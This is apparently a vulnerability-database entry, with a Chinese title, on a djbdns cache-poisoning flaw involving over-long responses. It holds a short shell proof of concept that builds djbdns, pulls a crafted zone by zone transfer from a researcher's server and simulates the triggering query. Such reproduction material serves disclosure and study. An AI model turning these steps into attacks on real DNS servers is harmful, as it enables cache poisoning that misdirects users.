djbdns超长响应报文远程缓存中毒漏洞

                                                # Download and build ucspi-tcp-0.88.
    $ curl -O http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz
    $ tar -zxf ucspi-tcp-0.88.tar.gz
    $ echo 'gcc -include /usr/include/errno.h -O' > ucspi-tcp-0.88/conf-cc
    $ make -C ucspi-tcp-0.88

    # Download and build djbdns-1.05.
    $ curl -O http://cr.yp.to/djbdns/djbdns-1.05.tar.gz
    $ tar -zxf djbdns-1.05.tar.gz
    $ echo 'gcc -include /usr/include/errno.h -O' > djbdns-1.05/conf-cc
    $ make -C djbdns-1.05

    # Use tcpclient and axfr-get to do a zone transfer for
    # burlap.dempsky.org from shinobi.dempsky.org.
    $ ./ucspi-tcp-0.88/tcpclient shinobi.dempsky.org 53 \
          ./djbdns-1.05/axfr-get burlap.dempsky.org data data.tmp

    # Use tinydns-data to compile data into data.cdb.
    $ ./djbdns-1.05/tinydns-data

    # Simulate an A query for www.x.burlap.dempsky.org using the data
    # from the zone transfer.
    $ ./djbdns-1.05/tinydns-get a www.x.burlap.dempsky.org